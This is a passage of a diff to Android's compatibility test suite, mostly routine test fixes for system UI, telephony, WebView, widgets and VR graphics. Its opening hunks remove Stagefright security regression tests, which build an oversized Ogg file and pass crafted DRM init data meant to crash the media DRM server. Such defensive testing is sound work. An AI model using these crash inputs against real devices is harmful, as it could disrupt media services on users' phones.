 import java.util.concurrent.locks.Condition;
 import java.util.concurrent.locks.ReentrantLock;
 
@@ -95,16 +90,6 @@
     }
 
     @SecurityTest
-    public void testStagefright_cve_2016_3828() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_3828);
-    }
-
-    @SecurityTest
-    public void testStagefright_bug_64710074() throws Exception {
-        doStagefrightTest(R.raw.bug_64710074);
-    }
-
-    @SecurityTest
     public void testStagefright_cve_2017_0643() throws Exception {
         doStagefrightTest(R.raw.cve_2017_0643);
     }
@@ -547,14 +532,6 @@
     }
 
     @SecurityTest
-    public void testStagefright_bug_63522067() throws Exception {
-        doStagefrightTestRawBlob(R.raw.bug_63522067_1_hevc, "video/hevc", 320, 420);
-        doStagefrightTestRawBlob(R.raw.bug_63522067_2_hevc, "video/hevc", 320, 420);
-        doStagefrightTestRawBlob(R.raw.bug_63522067_3_hevc, "video/hevc", 320, 420);
-        doStagefrightTestRawBlob(R.raw.bug_63522067_4_hevc, "video/hevc", 320, 420);
-    }
-
-    @SecurityTest
     public void testStagefright_bug_25765591() throws Exception {
         doStagefrightTest(R.raw.bug_25765591);
     }
@@ -610,56 +587,6 @@
     }
 
     @SecurityTest
-    public void testStagefright_bug_36592202() throws Exception {
-        Resources resources = getInstrumentation().getContext().getResources();
-        AssetFileDescriptor fd = resources.openRawResourceFd(R.raw.bug_36592202);
-        int page_size = 25627;
-        byte [] blob = new byte[page_size];
-
-        // 127 bytes read and  25500 zeros constitute one Ogg page
-        FileInputStream fis = fd.createInputStream();
-        int numRead = fis.read(blob);
-        fis.close();
-
-        // Creating temp file
-        final File tempFile = File.createTempFile("poc_tmp", ".ogg", null);
-
-        try {
-            final FileOutputStream tempFos = new FileOutputStream(tempFile.getAbsolutePath());
-            int bytesWritten = 0;
-            // Repeat data till size is ~1 GB
-            for (int i = 0; i < 50000; i++) {
-                tempFos.write(blob);
-                bytesWritten += page_size;
-            }
-            tempFos.close();
-
-            final int fileSize = bytesWritten;
-            int timeout = (10 * 60 * 1000);
-
-            runWithTimeout(new Runnable() {
-                @Override
-                public void run() {
-                    try {
-                        doStagefrightTestMediaCodec(tempFile.getAbsolutePath());
-                    } catch (Exception | AssertionError  e) {
-                        if (!tempFile.delete()) {
-                            Log.e(TAG, "Failed to delete temporary PoC file");
-                        }
-                        fail("Operation was not successful");
-                    }
-                }
-            }, timeout);
-        } catch (Exception e) {
-            fail("Failed to test b/36592202");
-        } finally {
-            if (!tempFile.delete()) {
-                Log.e(TAG, "Failed to delete temporary PoC file");
-            }
-        }
-    }
-
-    @SecurityTest
     public void testStagefright_bug_30822755() throws Exception {
         doStagefrightTest(R.raw.bug_30822755);
     }
@@ -670,39 +597,6 @@
     }
 
     @SecurityTest
-    public void testStagefright_bug_37710346() throws Exception {
-        UUID CLEARKEY_SCHEME_UUID = new UUID(0x1077efecc0b24d02L, 0xace33c1e52e2fb4bL);
-
-        String drmInitString = "0000003470737368" +
-                               "01000000" +
-                               "1077efecc0b24d02" +
-                               "ace33c1e52e2fb4b" +
-                               "10000001" +
-                               "60061e017e477e87" +
-                               "7e57d00d1ed00d1e" +
-                               "00000000";
-        int len = drmInitString.length();
-        byte[] drmInitData = new byte[len / 2];
-        for (int i = 0; i < len; i += 2) {
-            drmInitData[i / 2] = (byte) ((Character.digit(drmInitString.charAt(i), 16) << 4) +
-                Character.digit(drmInitString.charAt(i + 1), 16));
-        }
-
-        try {
-            MediaDrm drm = new MediaDrm(CLEARKEY_SCHEME_UUID);
-            byte[] sessionId;
-            String initDataType = "video/mp4";
-
-            sessionId = drm.openSession();
-            MediaDrm.KeyRequest drmRequest = drm.getKeyRequest(sessionId, drmInitData,
-                initDataType, MediaDrm.KEY_TYPE_STREAMING, null);
-        } catch (Exception e) {
-            if (!(e instanceof MediaDrmStateException))
-                fail("media drm server died");
-        }
-    }
-
-    @SecurityTest
     public void testStagefright_cve_2015_3873_b_23248776() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3873_b_23248776);
     }
diff --git a/tests/tests/security/src/android/security/cts/VerifiedBootTest.java b/tests/tests/security/src/android/security/cts/VerifiedBootTest.java
index a3209fc..8d388cc 100644
--- a/tests/tests/security/src/android/security/cts/VerifiedBootTest.java
+++ b/tests/tests/security/src/android/security/cts/VerifiedBootTest.java
@@ -21,6 +21,7 @@
 import android.platform.test.annotations.SecurityTest;
 import android.test.AndroidTestCase;
 import com.android.compatibility.common.util.PropertyUtil;
+import com.android.compatibility.common.util.CddTest;
 
 @SecurityTest
 public class VerifiedBootTest extends AndroidTestCase {
@@ -42,6 +43,7 @@
    * A device without the feature flag android.hardware.ram.normal is exempt if
    * it launched on a pre-P level.
    */
+  @CddTest(requirement="9.10/C-1-1,C-2-1")
   public void testVerifiedBootSupport() throws Exception {
     if (PropertyUtil.getFirstApiLevel() < Build.VERSION_CODES.O_MR1) {
       return;
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarTestBase.java b/tests/tests/systemui/src/android/systemui/cts/LightBarTestBase.java
index dde2ce1..14d4bcb 100644
--- a/tests/tests/systemui/src/android/systemui/cts/LightBarTestBase.java
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarTestBase.java
@@ -26,10 +26,11 @@
 import android.content.pm.PackageManager;
 import android.content.res.Configuration;
 import android.graphics.Bitmap;
+import android.graphics.Rect;
 import android.support.test.InstrumentationRegistry;
 import android.support.test.rule.ActivityTestRule;
 import android.util.Log;
-import android.view.KeyEvent;
+import android.view.DisplayCutout;
 import android.view.WindowInsets;
 
 import java.io.File;
@@ -37,6 +38,8 @@
 import java.io.IOException;
 import java.nio.file.FileSystems;
 import java.nio.file.Path;
+import java.util.ArrayList;
+import java.util.Locale;
 
 public class LightBarTestBase {
 
@@ -45,6 +48,8 @@
     public static final Path DUMP_PATH = FileSystems.getDefault()
             .getPath("/sdcard/LightBarTestBase/");
 
+    private ArrayList<Rect> mCutouts;
+
     protected Bitmap takeStatusBarScreenshot(LightBarBaseActivity activity) {
         Bitmap fullBitmap = getInstrumentation().getUiAutomation().takeScreenshot();
         return Bitmap.createBitmap(fullBitmap, 0, 0, activity.getWidth(), activity.getTop());
@@ -144,18 +149,42 @@
         int[] pixels = new int[bitmap.getHeight() * bitmap.getWidth()];
         bitmap.getPixels(pixels, 0, bitmap.getWidth(), 0, 0, bitmap.getWidth(), bitmap.getHeight());
 
+        loadCutout(activity);
         int backgroundColorPixelCount = 0;
+        int shiftY = activity.getBottom();
         for (int i = 0; i < pixels.length; i++) {
-            if (pixels[i] == backgroundColor) {
+            int x = i % bitmap.getWidth();
+            int y = i / bitmap.getWidth();
+
+            if (pixels[i] == backgroundColor
+                    || isInsideCutout(x, shiftY + y)) {
                 backgroundColorPixelCount++;
             }
         }
         assumeNavigationBarChangesColor(backgroundColorPixelCount, pixels.length);
 
+        int diffCount = 0;
         for (int col = 0; col < bitmap.getWidth(); col++) {
+            if (isInsideCutout(col, shiftY)) {
+                continue;
+            }
+
             if (dividerColor != pixels[col]) {
+                diffCount++;
+            }
+        }
+
+        boolean success = false;
+        try {
+            assertLessThan(String.format(Locale.ENGLISH,
+                    "There are invalid color pixels. expected= 0x%08x", dividerColor),
+                    0.3f, (float) diffCount / (float)bitmap.getWidth(),
+                    "Is the divider colored according to android:navigationBarDividerColor "
+                            + " in the theme?");
+            success = true;
+        } finally {
+            if (!success) {
                 dumpBitmap(bitmap, methodName);
-                fail("Invalid color exptected=" + dividerColor + " actual=" + pixels[col]);
             }
         }
     }
@@ -164,4 +193,39 @@
         assumeTrue("Not enough background pixels. The navigation bar may not be able to change "
                 + "color.", backgroundColorPixelCount > 0.3f * totalPixel);
     }
+
+    protected ArrayList loadCutout(LightBarBaseActivity activity) {
+        mCutouts = new ArrayList<>();
+        InstrumentationRegistry.getInstrumentation().runOnMainSync(()-> {
+            WindowInsets windowInsets = activity.getRootWindowInsets();
+            DisplayCutout displayCutout = windowInsets.getDisplayCutout();
+            if (displayCutout != null) {
+                mCutouts.addAll(displayCutout.getBoundingRects());
+            }
+        });
+        return mCutouts;
+    }
+
+    protected boolean isInsideCutout(int x, int y) {
+        for (Rect cutout : mCutouts) {
+            if (cutout.contains(x, y)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    protected void assertMoreThan(String what, float expected, float actual, String hint) {
+        if (!(actual > expected)) {
+            fail(what + ": expected more than " + expected * 100 + "%, but only got " + actual * 100
+                    + "%; " + hint);
+        }
+    }
+
+    protected void assertLessThan(String what, float expected, float actual, String hint) {
+        if (!(actual < expected)) {
+            fail(what + ": expected less than " + expected * 100 + "%, but got " + actual * 100
+                    + "%; " + hint);
+        }
+    }
 }
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
index 724bca0..c9234d7 100644
--- a/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
@@ -20,13 +20,11 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
-import android.app.ActivityManager;
 import android.app.Notification;
 import android.app.NotificationChannel;
 import android.app.NotificationManager;
 import android.app.UiAutomation;
 import android.content.Context;
-import android.content.pm.PackageManager;
 import android.graphics.Bitmap;
 import android.graphics.Color;
 import android.os.SystemClock;
@@ -96,7 +94,7 @@
         Thread.sleep(WAIT_TIME);
 
         Bitmap bitmap = takeStatusBarScreenshot(mActivityRule.getActivity());
-        Stats s = evaluateLightBarBitmap(bitmap, Color.RED /* background */);
+        Stats s = evaluateLightBarBitmap(bitmap, Color.RED /* background */, 0);
         assertLightStats(bitmap, s);
 
         mNm.cancelAll();
@@ -116,8 +114,9 @@
         injectCanceledTap(x, y);
         Thread.sleep(WAIT_TIME);
 
-        Bitmap bitmap = takeNavigationBarScreenshot(mActivityRule.getActivity());
-        Stats s = evaluateLightBarBitmap(bitmap, Color.RED /* background */);
+        LightBarActivity activity = mActivityRule.getActivity();
+        Bitmap bitmap = takeNavigationBarScreenshot(activity);
+        Stats s = evaluateLightBarBitmap(bitmap, Color.RED /* background */, activity.getBottom());
         assertLightStats(bitmap, s);
     }
 
@@ -156,16 +155,16 @@
             assumeNavigationBarChangesColor(s.backgroundPixels, s.totalPixels());
 
             assertMoreThan("Not enough pixels colored as in the spec", 0.3f,
-                    (float) s.iconPixels / s.foregroundPixels(),
+                    (float) s.iconPixels / (float) s.foregroundPixels(),
                     "Are the bar icons colored according to the spec "
                             + "(60% black and 24% black)?");
 
             assertLessThan("Too many lighter pixels lighter than the background", 0.05f,
-                    (float) s.sameHueLightPixels / s.foregroundPixels(),
+                    (float) s.sameHueLightPixels / (float) s.foregroundPixels(),
                     "Are the bar icons dark?");
 
             assertLessThan("Too many pixels with a changed hue", 0.05f,
-                    (float) s.unexpectedHuePixels / s.foregroundPixels(),
+                    (float) s.unexpectedHuePixels / (float) s.foregroundPixels(),
                     "Are the bar icons color-free?");
 
             success = true;
@@ -176,20 +175,6 @@
         }
     }
 
-    private void assertMoreThan(String what, float expected, float actual, String hint) {
-        if (!(actual > expected)) {
-            fail(what + ": expected more than " + expected * 100 + "%, but only got " + actual * 100
-                    + "%; " + hint);
-        }
-    }
-
-    private void assertLessThan(String what, float expected, float actual, String hint) {
-        if (!(actual < expected)) {
-            fail(what + ": expected less than " + expected * 100 + "%, but got " + actual * 100
-                    + "%; " + hint);
-        }
-    }
-
     private void requestLightBars(final int background) throws Throwable {
         final LightBarActivity activity = mActivityRule.getActivity();
         activity.runOnUiThread(() -> {
@@ -225,7 +210,7 @@
         }
     }
 
-    private Stats evaluateLightBarBitmap(Bitmap bitmap, int background) {
+    private Stats evaluateLightBarBitmap(Bitmap bitmap, int background, int shiftY) {
         int iconColor = 0x99000000;
         int iconPartialColor = 0x3d000000;
 
@@ -247,8 +232,17 @@
         Stats s = new Stats();
         float eps = 0.005f;
 
+        loadCutout(mActivityRule.getActivity());
         float [] hsvPixel = new float[3];
+        int i = 0;
         for (int c : pixels) {
+            int x = i % bitmap.getWidth();
+            int y = i / bitmap.getWidth();
+            i++;
+            if (isInsideCutout(x, shiftY + y)) {
+                continue;
+            }
+
             if (isColorSame(c, background)) {
                 s.backgroundPixels++;
                 continue;
diff --git a/tests/tests/telephony/src/android/telephony/cts/SubscriptionManagerTest.java b/tests/tests/telephony/src/android/telephony/cts/SubscriptionManagerTest.java
index f544694..3b8656b 100644
--- a/tests/tests/telephony/src/android/telephony/cts/SubscriptionManagerTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/SubscriptionManagerTest.java
@@ -64,10 +64,44 @@
     private int mSubId;
     private String mPackageName;
 
+    /**
+     * Callback used in testRegisterNetworkCallback that allows caller to block on
+     * {@code onAvailable}.
+     */
+    private static class TestNetworkCallback extends ConnectivityManager.NetworkCallback {
+        private final CountDownLatch mAvailableLatch = new CountDownLatch(1);
+
+        public void waitForAvailable() throws InterruptedException {
+            assertTrue("Cellular network did not come up after 5 seconds",
+                    mAvailableLatch.await(5, TimeUnit.SECONDS));
+        }
+
+        @Override
+        public void onAvailable(Network network) {
+            mAvailableLatch.countDown();
+        }
+    }
+
     @BeforeClass
     public static void setUpClass() throws Exception {
         InstrumentationRegistry.getInstrumentation().getUiAutomation()
                 .executeShellCommand("svc wifi disable");
+
+        final TestNetworkCallback callback = new TestNetworkCallback();
+        final ConnectivityManager cm = InstrumentationRegistry.getContext()
+                .getSystemService(ConnectivityManager.class);
+        cm.registerNetworkCallback(new NetworkRequest.Builder()
+                .addTransportType(TRANSPORT_CELLULAR)
+                .addCapability(NET_CAPABILITY_INTERNET)
+                .build(), callback);
+        try {
+            // Wait to get callback for availability of internet
+            callback.waitForAvailable();
+        } catch (InterruptedException e) {
+            fail("NetworkCallback wait was interrupted.");
+        } finally {
+            cm.unregisterNetworkCallback(callback);
+        }
     }
 
     @AfterClass
@@ -84,25 +118,21 @@
     }
 
     /**
-     * Sanity check that both {@link PackageManager#FEATURE_TELEPHONY} and
-     * {@link NetworkCapabilities#TRANSPORT_CELLULAR} network must both be
-     * either defined or undefined; you can't cross the streams.
+     * Sanity check that the device has a cellular network and a valid default data subId
+     * when {@link PackageManager#FEATURE_TELEPHONY} support.
      */
     @Test
     public void testSanity() throws Exception {
+        if (!isSupported()) return;
+
         final boolean hasCellular = findCellularNetwork() != null;
-        if (isSupported() && !hasCellular) {
+        if (!hasCellular) {
             fail("Device claims to support " + PackageManager.FEATURE_TELEPHONY
                     + " but has no active cellular network, which is required for validation");
-        } else if (!isSupported() && hasCellular) {
-            fail("Device has active cellular network, but claims to not support "
-                    + PackageManager.FEATURE_TELEPHONY);
         }
 
-        if (isSupported()) {
-            if (mSubId == SubscriptionManager.INVALID_SUBSCRIPTION_ID) {
-                fail("Device must have a valid default data subId for validation");
-            }
+        if (mSubId == SubscriptionManager.INVALID_SUBSCRIPTION_ID) {
+            fail("Device must have a valid default data subId for validation");
         }
     }
 
diff --git a/tests/tests/view/AndroidManifest.xml b/tests/tests/view/AndroidManifest.xml
index a9cb2cd..4217959 100644
--- a/tests/tests/view/AndroidManifest.xml
+++ b/tests/tests/view/AndroidManifest.xml
@@ -297,7 +297,7 @@
         </activity>
 
         <activity android:name="android.view.cts.DragDropActivity"
-                  android:screenOrientation="portrait"
+                  android:screenOrientation="locked"
                   android:label="DragDropActivity">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
diff --git a/tests/tests/view/src/android/view/cts/TextureViewCtsActivity.java b/tests/tests/view/src/android/view/cts/TextureViewCtsActivity.java
index 52a0a8d..8b0d4c7 100644
--- a/tests/tests/view/src/android/view/cts/TextureViewCtsActivity.java
+++ b/tests/tests/view/src/android/view/cts/TextureViewCtsActivity.java
@@ -371,6 +371,12 @@
             if (mIsEGLWideGamut && !extensions.contains("EXT_pixel_format_float")) {
                 mEGLExtensionUnsupported = true;
             }
+            // If the extension is present but the device doesn't claim to have a wide color gamut
+            // display then it might not return any actual float formats.
+            if (mIsEGLWideGamut && !mEGLExtensionUnsupported
+                    && !getWindowManager().getDefaultDisplay().isWideColorGamut()) {
+                mEGLExtensionUnsupported = true;
+            }
 
             mEglConfig = chooseEglConfig();
             if (mEglConfig == null) {
diff --git a/tests/tests/webkit/src/android/webkit/cts/TestHtmlConstants.java b/tests/tests/webkit/src/android/webkit/cts/TestHtmlConstants.java
index 68d944b..2996c76 100644
--- a/tests/tests/webkit/src/android/webkit/cts/TestHtmlConstants.java
+++ b/tests/tests/webkit/src/android/webkit/cts/TestHtmlConstants.java
@@ -69,6 +69,7 @@
     public static final String STOP_LOADING_URL = "webkit/test_stop_loading.html";
     public static final String BLANK_TAG_URL = "webkit/blank_tag.html";
     public static final String PAGE_WITH_LINK_URL = "webkit/page_with_link.html";
+    public static final String URL_IN_PAGE_WITH_LINK = "http://foo.com/";
     // Not a real page, just triggers a 404 response.
     public static final String NON_EXISTENT_PAGE_URL = "webkit/generate_404.html";
     public static final String BAD_IMAGE_PAGE_URL = "webkit/test_bad_image_url.html";
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java b/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java
index ae875a5..8cfaec3 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java
@@ -554,6 +554,7 @@
         if (!NullWebViewUtils.isWebViewAvailable()) {
             return;
         }
+        mSettings.setTextSize(TextSize.NORMAL);
         assertEquals(TextSize.NORMAL, mSettings.getTextSize());
 
         mSettings.setTextSize(TextSize.LARGER);
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
index 58e59e5..3ce66ac 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
@@ -137,6 +137,7 @@
 
         final WebView childWebView = mOnUiThread.createWebView();
 
+        WebViewOnUiThread childWebViewOnUiThread = new WebViewOnUiThread(this, childWebView);
         mOnUiThread.setWebChromeClient(new WebChromeClient() {
             @Override
             public boolean onCreateWindow(
@@ -152,21 +153,26 @@
                 return true;
             }
         });
-        mOnUiThread.loadUrl(mWebServer.getAssetUrl(TestHtmlConstants.BLANK_TAG_URL));
+        {
+          final int childCallCount = childWebViewClient.getShouldOverrideUrlLoadingCallCount();
+          mOnUiThread.loadUrl(mWebServer.getAssetUrl(TestHtmlConstants.BLANK_TAG_URL));
 
-        new PollingCheck(TEST_TIMEOUT) {
-            @Override
-            protected boolean check() {
-                return childWebViewClient.hasOnPageFinishedCalled();
-            }
-        }.run();
-        assertEquals(mWebServer.getAssetUrl(TestHtmlConstants.PAGE_WITH_LINK_URL),
-                childWebViewClient.getLastShouldOverrideUrl());
+          new PollingCheck(TEST_TIMEOUT) {
+              @Override
+              protected boolean check() {
+                  return childWebViewClient.hasOnPageFinishedCalled();
+              }
+          }.run();
+          new PollingCheck(TEST_TIMEOUT) {
+              @Override
+              protected boolean check() {
+                  return childWebViewClient.getShouldOverrideUrlLoadingCallCount() > childCallCount;
+              }
+          }.run();
+          assertEquals(mWebServer.getAssetUrl(TestHtmlConstants.PAGE_WITH_LINK_URL),
+                  childWebViewClient.getLastShouldOverrideUrl());
+        }
 
-        // Now test a navigation within the page
-        //TODO(hush) Enable this portion when b/12804986 is fixed.
-        /*
-        WebViewOnUiThread childWebViewOnUiThread = new WebViewOnUiThread(this, childWebView);
         final int childCallCount = childWebViewClient.getShouldOverrideUrlLoadingCallCount();
         final int mainCallCount = mainWebViewClient.getShouldOverrideUrlLoadingCallCount();
         clickOnLinkUsingJs("link", childWebViewOnUiThread);
@@ -177,8 +183,8 @@
             }
         }.run();
         assertEquals(mainCallCount, mainWebViewClient.getShouldOverrideUrlLoadingCallCount());
-        assertEquals(TEST_URL, childWebViewClient.getLastShouldOverrideUrl());
-        */
+        assertEquals(
+            TestHtmlConstants.URL_IN_PAGE_WITH_LINK, childWebViewClient.getLastShouldOverrideUrl());
     }
 
     private void clickOnLinkUsingJs(final String linkId, WebViewOnUiThread webViewOnUiThread) {
@@ -781,7 +787,6 @@
         @Override
         public void onLoadResource(WebView view, String url) {
             super.onLoadResource(view, url);
-            assertTrue(mOnPageStartedCalled);
             mOnLoadResourceCalled = true;
         }
 
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
index 4bedbb1..f5f3139 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
@@ -1361,7 +1361,7 @@
         assertNull(mWebView.getUrl());
         String imgUrl = TestHtmlConstants.SMALL_IMG_URL; // relative
         // Snippet of HTML that will prevent favicon requests to the test server.
-        final String HTML_HEADER = "<html><head><link rel=\"shortcut icon\" href=\"#\" /></head>";
+        final String HTML_HEADER = "<html><head><link rel=\"shortcut icon\" href=\"%23\" /></head>";
 
         // Trying to resolve a relative URL against a data URL without a base URL
         // will fail and we won't make a request to the test web server.
@@ -1968,8 +1968,8 @@
         final String imgUrl = mWebServer.getAssetUrl(TestHtmlConstants.LARGE_IMG_URL);
         mOnUiThread.loadDataAndWaitForCompletion(
                 "<html><head><title>Title</title><style type=\"text/css\">"
-                + "#imgElement { -webkit-transform: translate3d(0,0,1); }"
-                + "#imgElement.finish { -webkit-transform: translate3d(0,0,0);"
+                + "%23imgElement { -webkit-transform: translate3d(0,0,1); }"
+                + "%23imgElement.finish { -webkit-transform: translate3d(0,0,0);"
                 + " -webkit-transition-duration: 1ms; }</style>"
                 + "<script type=\"text/javascript\">function imgLoad() {"
                 + "imgElement = document.getElementById('imgElement');"
diff --git a/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java b/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
index c25c620..2c483d7 100644
--- a/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
+++ b/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
@@ -635,6 +635,7 @@
     public void testShowAtLocation() throws Throwable {
         int[] popupContentViewInWindowXY = new int[2];
         int[] popupContentViewOnScreenXY = new int[2];
+        Rect containingRect = new Rect();
 
         mPopupWindow = createPopupWindow(createPopupContent(CONTENT_SIZE_DP, CONTENT_SIZE_DP));
         // Do not attach within the decor; we will be measuring location
@@ -658,11 +659,12 @@
         assertTrue(mPopupWindow.isShowing());
         mPopupWindow.getContentView().getLocationInWindow(popupContentViewInWindowXY);
         mPopupWindow.getContentView().getLocationOnScreen(popupContentViewOnScreenXY);
+        upperAnchor.getWindowDisplayFrame(containingRect);
 
         assertTrue(popupContentViewInWindowXY[0] >= 0);
         assertTrue(popupContentViewInWindowXY[1] >= 0);
-        assertEquals(popupContentViewInWindowXY[0] + xOff, popupContentViewOnScreenXY[0]);
-        assertEquals(popupContentViewInWindowXY[1] + yOff, popupContentViewOnScreenXY[1]);
+        assertEquals(containingRect.left + popupContentViewInWindowXY[0] + xOff, popupContentViewOnScreenXY[0]);
+        assertEquals(containingRect.top + popupContentViewInWindowXY[1] + yOff, popupContentViewOnScreenXY[1]);
 
         dismissPopup();
     }
@@ -943,6 +945,7 @@
         int[] fstXY = new int[2];
         int[] sndXY = new int[2];
         int[] viewInWindowXY = new int[2];
+        Rect containingRect = new Rect();
         final Point popupPos = new Point();
 
         mActivityRule.runOnUiThread(() -> {
@@ -962,6 +965,7 @@
         showPopup();
         mPopupWindow.getContentView().getLocationInWindow(viewInWindowXY);
         final View containerView = mActivity.findViewById(R.id.main_container);
+        containerView.getWindowDisplayFrame(containingRect);
 
         // update if it is not shown
         mActivityRule.runOnUiThread(() -> mPopupWindow.update(80, 80));
@@ -983,8 +987,8 @@
         assertEquals(50, mPopupWindow.getHeight());
 
         mPopupWindow.getContentView().getLocationOnScreen(fstXY);
-        assertEquals(popupPos.x + viewInWindowXY[0], fstXY[0]);
-        assertEquals(popupPos.y + viewInWindowXY[1], fstXY[1]);
+        assertEquals(containingRect.left + popupPos.x + viewInWindowXY[0], fstXY[0]);
+        assertEquals(containingRect.top + popupPos.y + viewInWindowXY[1], fstXY[1]);
 
         popupPos.set(windowInsets.getStableInsetLeft() + 4, windowInsets.getStableInsetTop());
 
@@ -998,8 +1002,8 @@
         assertEquals(50, mPopupWindow.getHeight());
 
         mPopupWindow.getContentView().getLocationOnScreen(sndXY);
-        assertEquals(popupPos.x + viewInWindowXY[0], sndXY[0]);
-        assertEquals(popupPos.y + viewInWindowXY[1], sndXY[1]);
+        assertEquals(containingRect.left + popupPos.x + viewInWindowXY[0], sndXY[0]);
+        assertEquals(containingRect.top + popupPos.y + viewInWindowXY[1], sndXY[1]);
 
         dismissPopup();
     }
diff --git a/tests/vr/jni/VrExtensionsJni.cpp b/tests/vr/jni/VrExtensionsJni.cpp
index 4ab4e2a..a5d9db3 100644
--- a/tests/vr/jni/VrExtensionsJni.cpp
+++ b/tests/vr/jni/VrExtensionsJni.cpp
@@ -86,10 +86,19 @@
     ASSERT((a) != (b), "assert failed on (" #a ") at " __FILE__ ":%d", __LINE__)
 #define ASSERT_GT(a, b) \
     ASSERT((a) > (b), "assert failed on (" #a ") at " __FILE__ ":%d", __LINE__)
-#define ASSERT_NEAR(a, b, delta)                     \
-    ASSERT((a - delta) <= (b) && (b) <= (a + delta), \
+#define ASSERT_NEAR_RGBA(a, b, delta) \
+    ASSERT(areNearRgba(a, b, delta),  \
            "assert failed on (" #a ") at " __FILE__ ":%d", __LINE__)
 
+bool areNearRgba(int32_t actual, int32_t expected, int delta) {
+    for (int shift = 0; shift < 32; shift += 8) {
+        if (std::abs((actual >> shift & 0xFF) - (expected >> shift & 0xFF)) > delta) {
+            return false;
+        }
+    }
+    return true;
+}
+
 void fail(JNIEnv* env, const char* format, ...) {
     va_list args;
     va_start(args, format);
@@ -107,8 +116,8 @@
                               int nsamples) {
     ASSERT_GT(desc.layers, 1);
     AHardwareBuffer* hwbuffer = nullptr;
-    int error = AHardwareBuffer_allocate(&desc, &hwbuffer);
-    ASSERT_FALSE(error);
+    // If the format is unsupported and allocation fails, skip the test.
+    if (AHardwareBuffer_allocate(&desc, &hwbuffer) != NO_ERROR) return;
     // Create EGLClientBuffer from the AHardwareBuffer.
     EGLClientBuffer native_buffer = eglGetNativeClientBufferANDROID(hwbuffer);
     ASSERT_TRUE(native_buffer);
@@ -256,7 +265,8 @@
     JNIEnv* env, jclass /* unused */) {
     // First, check for EXT_external_buffer in the extension string.
     auto exts = reinterpret_cast<const char*>(glGetString(GL_EXTENSIONS));
-    ASSERT_TRUE(exts && strstr(exts, "GL_EXT_external_buffer"));
+    ASSERT_TRUE(exts);
+    if (strstr(exts, "GL_EXT_external_buffer") == nullptr) return;
     // Next, load entry points provided by extensions.
     LOAD_PROC(eglGetNativeClientBufferANDROID, PFNEGLGETNATIVECLIENTBUFFERANDROID);
     ASSERT_NE(eglGetNativeClientBufferANDROID, nullptr);
@@ -638,20 +648,20 @@
     uint32_t middle_pixel;
     // First do a sanity check with plain old pre-linearized textures.
     testLinearMagnification(env, 0, &middle_pixel);
-    ASSERT_NEAR(middle_pixel, kExpectedMiddlePixel_NoSrgb, 1);
+    ASSERT_NEAR_RGBA(middle_pixel, kExpectedMiddlePixel_NoSrgb, 1);
     testLinearMagnification(env, SrgbFlag::kHardwareBuffer, &middle_pixel);
-    ASSERT_NEAR(middle_pixel, kExpectedMiddlePixel_NoSrgb, 1);
+    ASSERT_NEAR_RGBA(middle_pixel, kExpectedMiddlePixel_NoSrgb, 1);
     // Try a "normally allocated" OpenGL texture with an sRGB source format.
     testLinearMagnification(env, SrgbFlag::kSrgbFormat, &middle_pixel);
-    ASSERT_NEAR(middle_pixel, kExpectedMiddlePixel_LinearizeBeforeFiltering, 1);
+    ASSERT_NEAR_RGBA(middle_pixel, kExpectedMiddlePixel_LinearizeBeforeFiltering, 1);
     // Try EGL_EXT_image_gl_colorspace.
     if (egl_colorspace_supported) {
         testLinearMagnification(env, SrgbFlag::kHardwareBuffer | SrgbFlag::kEglColorspaceDefault, &middle_pixel);
-        ASSERT_NEAR(middle_pixel, kExpectedMiddlePixel_NoSrgb, 1);
+        ASSERT_NEAR_RGBA(middle_pixel, kExpectedMiddlePixel_NoSrgb, 1);
         testLinearMagnification(env, SrgbFlag::kHardwareBuffer | SrgbFlag::kEglColorspaceLinear, &middle_pixel);
-        ASSERT_NEAR(middle_pixel, kExpectedMiddlePixel_NoSrgb, 1);
+        ASSERT_NEAR_RGBA(middle_pixel, kExpectedMiddlePixel_NoSrgb, 1);
         testLinearMagnification(env, SrgbFlag::kHardwareBuffer | SrgbFlag::kEglColorspaceSrgb, &middle_pixel);
-        ASSERT_NEAR(middle_pixel, kExpectedMiddlePixel_LinearizeBeforeFiltering, 1);
+        ASSERT_NEAR_RGBA(middle_pixel, kExpectedMiddlePixel_LinearizeBeforeFiltering, 1);
     }
 
     // Blending test.
@@ -660,19 +670,19 @@
     uint32_t final_color;
     // First do a sanity check with plain old pre-linearized textures.
     testFramebufferBlending(env, 0, &final_color);
-    ASSERT_NEAR(final_color, kExpectedBlendedPixel_NoSrgb, 1);
+    ASSERT_NEAR_RGBA(final_color, kExpectedBlendedPixel_NoSrgb, 1);
     testFramebufferBlending(env, SrgbFlag::kHardwareBuffer, &final_color);
-    ASSERT_NEAR(final_color, kExpectedBlendedPixel_NoSrgb, 1);
+    ASSERT_NEAR_RGBA(final_color, kExpectedBlendedPixel_NoSrgb, 1);
     // Try a "normally allocated" OpenGL texture with an sRGB source format.
     testFramebufferBlending(env, SrgbFlag::kSrgbFormat, &final_color);
